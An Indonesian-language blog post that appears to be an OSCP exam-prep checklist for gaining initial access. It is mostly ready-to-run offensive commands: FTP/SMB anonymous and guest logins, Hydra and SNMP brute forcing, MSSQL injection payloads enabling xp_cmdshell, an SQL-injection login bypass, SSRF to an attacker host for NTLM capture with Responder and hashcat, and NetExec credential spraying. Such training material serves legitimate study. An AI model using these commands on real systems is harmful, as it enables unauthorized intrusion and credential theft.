Post

[OSCP] Initial Access - Checklist That Guarantees You to Pwn 'Em All

[OSCP] Initial Access - Checklist That Guarantees You to Pwn 'Em All

Pada tanggal 10 Desember 2024 kemarin, saya memantapkan diri untuk mengambil ujian OSCP. Bisa dibilang agak mendadak, karena Course dan Challenge Lab saya baru jalan sekitar 50%-an. OSCP ini bisa dibilang sebagai “Enumeration Game” yang di mana untuk menemukan Initial Access saat ujian berlangsung tidaklah terlalu sulit.

Saya akan merangkum tantangan-tantangan yang mungkin kalian temui saat mencari Initial Access (saat exam OSCP nanti).

Port Scan

Untuk melakukan inisiasi, biasanya kita perlu melakukan Port Scanning di awal. Namun, dalam kasus ini, saya menyarankan untuk tidak menggunakan NMAP (disclaimer: jika tidak terlalu dibutuhkan) karena waktu yang tersedia saat ujian OSCP berlangsung sangat terbatas.

Saat melakukan pengujian dengan beberapa tools, pilihan saya jatuh pada tools berikut:

  • RustScan (untuk scan port TCP dengan sangat cepat)
  • UDPX (untuk scan port UDP dengan cepat)

TCP:

1
rustscan --scripts none -a $TARGET

UDP:

1
udpx -c 500 -w 1000 -t $TARGET

FTP Anonymous Login

Tool yang akan saya gunakan di sini adalah NetExec.

Skenario yang dapat kita lakukan saat mendapatkan akses FTP Anonymous Login:

  • Read-only: Penyerang dapat mengunduh file sensitif, seperti konfigurasi (.env, .conf), file backup (.sql, .zip), atau kredensial (.db, .pdf, .txt).
  • Write access: Kita dapat mengunggah file backdoor, untuk mendapatkan akses reverse shell.
1
netexec ftp <TARGET> -u 'anonymous' -p 'anonymous'

FTP Brute Force Login with ftp-betterdefaultpasslist.txt

Selain itu, pada service FTP, kita dapat memanfaatkan tool Hydra dan wordlist dari ftp-betterdefaultpasslist.txt (SecLists) untuk menemukan kredensial yang valid.

1
hydra -C /usr/share/SecLists/Passwords/Default-Credentials/ftp-betterdefaultpasslist.txt <TARGET> ftp

Dump all files inside FTP

Untuk catatan tambahan jika menemukan banyak file di dalam FTP-nya, kalian bisa men-download semua filenya sekaligus secara recursive menggunakan command di bawah ini:

1
wget -m --user='<USERNAME>' --password='<PASSWORD>' ftp://<TARGET> --no-passive-ftp

SMB Null Session

Untuk memeriksa apakah SMB dapat Login menggunakan Null Session (tanpa username dan password), di sini saya akan menggunakan tool NetExec (lagi).

1
netexec smb <TARGET> -u '' -p ''

SMB Guest Login

Jika tidak dapat login dengan Null Session, kita perlu memeriksa apakah service SMB pada mesin target mengizinkan kita login menggunakan akun Guest.

1
netexec smb <TARGET> -u 'guest' -p 'guest'

Enum4linux

Jika salah satu metode login SMB di atas ada yang berhasil, maka kita dapat menggunakan tool enum4linux untuk mempercepat proses enumerasi.

1
enum4linux -a -v $TARGET
1
enum4linux -u 'guest' -p 'guest' -a -v <TARGET>
1
enum4linux -u 'username' -p 'password' -a -v <TARGET>

enum4linux SMB Users Enumeration

Dump all files inside SMB

Jika menemukan Sharefolder yang mencurigakan, kita bisa langsung download semua file di dalam SMB secara recursive ke mesin kita.

1
netexec smb <TARGET> -u 'username' -p 'password' -M spider_plus -o DOWNLOAD_FLAG=True

SNMP (161/udp) Pentest Preparation

Tool yang akan digunakan adalah net-snmp (snmpbulkwalk) beserta beberapa modul dan tool tambahan lainnya.

1
2
3
# Install SNMP Extender
sudo apt-get install snmp-mibs-downloader -y
sudo download-mibs
1
2
3
4
5
6
7
# Install onesixtyone to brute force SNMP
sudo apt update
sudo apt install build-essential libpcap-dev
git clone https://github.com/trailofbits/onesixtyone.git
cd onesixtyone
make
sudo make install

SNMP Public Community String

Initial Access pada SNMP biasanya dilakukan untuk memperoleh kredensial yang tercatat di dalamnya (logging). Dalam SNMP, kita akan menggunakan community string sebagai inputnya.

1
snmpbulkwalk -c public -v2c <TARGET> NET-SNMP-EXTEND-MIB::nsExtendOutputFull
  • -c public adalah public community string.

SNMPBulkWalk Public

SNMP Community String Brute Force

Jika community string “public”-nya tidak tersedia, maka kita perlu melakukan brute force pada community string-nya terlebih dahulu untuk menemukannya.

Terdapat dua wordlist yang umum digunakan, yaitu SecLists atau Wordlist dari Metasploit Framework.

1
2
onesixtyone -c /usr/share/SecLists/Discovery/SNMP/snmp.txt <TARGET>
onesixtyone -c /usr/share/metasploit-framework/data/wordlists/snmp_default_pass.txt <TARGET>

Kemudian, snmpbulkwalk menggunakan custom community string.

1
snmpbulkwalk -c <COMMUNITY_STRING_NAME> -v2c <TARGET> NET-SNMP-EXTEND-MIB::nsExtendOutputFull

Web Application (HTTP): Hidden Directories and Files Enumeration

Pasti hal ini sudah umum di telinga kalian, karena enumerasi untuk menemukan directory and file sensitif ini adalah hal yang basic.

Tapi, apakah kita perlu menggunakan 2 wordlist?

Ya! Saya pernah mengalami stuck dan tidak menemukan apa-apa saat hanya menggunakan satu wordlist. Namun, dengan menggunakan wordlist dari SecLists dan Dirsearch, menurut saya itu sudah lebih dari cukup untuk membantu menyelesaikan ujian OSCP.

Yang pertama, saya menggunakan tool Feroxbuster dan Wordlist SecLists (directory-list-2.3-medium.txt) agar hasilnya cepat dan maksimal (deep).

1
feroxbuster -C 404 --auto-tune -k --wordlist /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt --threads 100 --depth 2 -u <TARGET>

Yang kedua, saya menggunakan Dirsearch untuk menemukan directory dan file umum, seperti .env, .git, dan lainnya.

1
PYTHONWARNINGS="ignore" python3 ~/dirsearch/dirsearch.py -u <TARGET>

Web Application: SQL Injection (MSSQL to Command Execution)

Pada dasarnya SQL Injection pada MSSQL memungkinkan kita untuk mengeksekusi Stacked Query, yang di mana kita dapat melakukan escape dengan cara menutup dan mengakhiri querynya dengan payload '; dan menjalankan query lain.

  • http://10.10.10.10/profile.aspx?id=1';EXEC xp_cmdshell "whoami";--

Enable xp_cmdshell:

1
2
3
4
';EXEC sp_configure 'show advanced options', 1;--
';RECONFIGURE;--
';EXEC sp_configure "xp_cmdshell", 1;--
';RECONFIGURE;--

Execute xp_cmdshell

1
';EXEC xp_cmdshell "whoami";--

Web Application: Server-Side Request Forgery in Windows Server (Steal NTLM)

Saya baru menyadari bahwa, celah SSRF (Server-Side Request Forgery) sangat berbahaya pada environment Windows. Yang di mana dapat dimanfaatkan untuk mencuri NTML Hash.

Untuk mengeksekusinya, kita perlu menghidupkan Responder terlebih dahulu pada mesin kita.

1
sudo python3 Responder.py -I tun0 -wd

Kemudian mengeksekusi SSRF-nya dengan menggunakan URL file://<ATTACKER_IP>/test dan boom! Responder kalian akan menangkap Request seperti ini.

SSRF in Responder

Lalu, kalian hanya tinggal crack NTML-nya saja.

1
hashcat -m 5600 '<HASH>' /usr/share/wordlists/rockyou.txt

SSRF NTLM Cracked

Web Application: Underrated CMS, Framework, or Application Exploit

Tak jarang kita menemukan CMS atau Application yang tidak umum bahkan tidak pernah kita lihat sama sekalu sebelumnya.

  • Solusinya simple, yaitu buka Google dan search dengan keyword <APPLICATION_NAME> exploit

Web Application: Underrated CMS, Framework, or Application Exploit

Web Application: Login Required

Jika kalian menemukan hal seperti ini, ada beberapa checklist yang perlu kalian lakukan

  • Login dengan payload SQL Injection ' OR 1=1 LIMIT 1 -- -
  • Apakah ada Public Exploit yang bisa kalian manfaatkan untuk Log In?
  • Cari Default Credential-nya di Internet. OffSec sering menggunakan pattern admin:admin atau user:user (sesuaikan usernya dengan user yang sudah kalian peroleh).

Web Application Login Required


Uncommon Port and Unknown Service

Tak jarang juga kita menemukan port yang tidak umum seperti 1978, 3001, dan lain-lain. Apalagi port tersebut bukanlah layanan HTTP, dan sialnya NMAP tidak dapat mendeteksi apa layanan di belakangnya.

Maka solusinya, kita dapat langsung ke Google dan cari menggunakan keyword port XXX exploit

Uncommon Port and Unknown Service


Gather Username List via Gathered File Attribute (exiftool)

Agar tidak kaget saat merasa semua upaya Initial Access yang telah dilakukan sia-sia, tetapi kalian menemukan banyak file “sampah”. Kalian dapat memeriksa filenya apakah tersimpan attribute penting atau tidak, dengan menggunakan exiftool.

1
exiftool <FILENAME>

Mencari author file secara recursive:

1
find . -type f | xargs -I {} exiftool {} | grep ^'Author'

Gather Username List via Gathered File Attribute

Jika sudah dapat, kalian bisa langsung coba untuk Credential Spray ke setiap Service dan Application dengan pattern login user:user.


Credential Spraying - FTP, SSH, SMB, WinRM, and RDP

Kita ketemu lagi sama NetExec, menggunakan tool sakti ini kita dapat melakukan Credential Spraying ke berbagai macam Service dan Protocol, dengan berbagai macam metode penempatan username dan password.

1
2
3
4
5
6
7
8
# Multiple Usernames and Multiple Passwords
netexec rdp <TARGET> -u username.txt -p password.txt

# Single Username with Multiple Passwords
netexec rdp <TARGET> -u 'john.doe' -p password.txt

# Multiple Usernames with Single Password
netexec rdp <TARGET> -u username.txt -p 'P@ssw0rd123'

Maka tinggal sesuaikan saja protokol apa yang digunakan di mesin target.

1
2
3
4
5
netexec ftp <TARGET> -u username.txt -p password.txt
netexec ssh <TARGET> -u username.txt -p password.txt
netexec smb <TARGET> -u username.txt -p password.txt
netexec winrm <TARGET> -u username.txt -p password.txt
netexec rdp <TARGET> -u username.txt -p password.txt

Bukan hanya itu, berikut ini list Protocol yang dapat kalian manfaatkan:

  • mssql
  • smb
  • ftp
  • ldap
  • nfs
  • rdp
  • ssh
  • vnc
  • winrm
  • wmi

THE ARTICLE STILL UPDATING…

  • Crack the Protected File (PDF, ZIP, etc)
  • Some Files (PDF, ZIP, etc) Might Contain Credentials
This post is licensed under CC BY 4.0 by the author.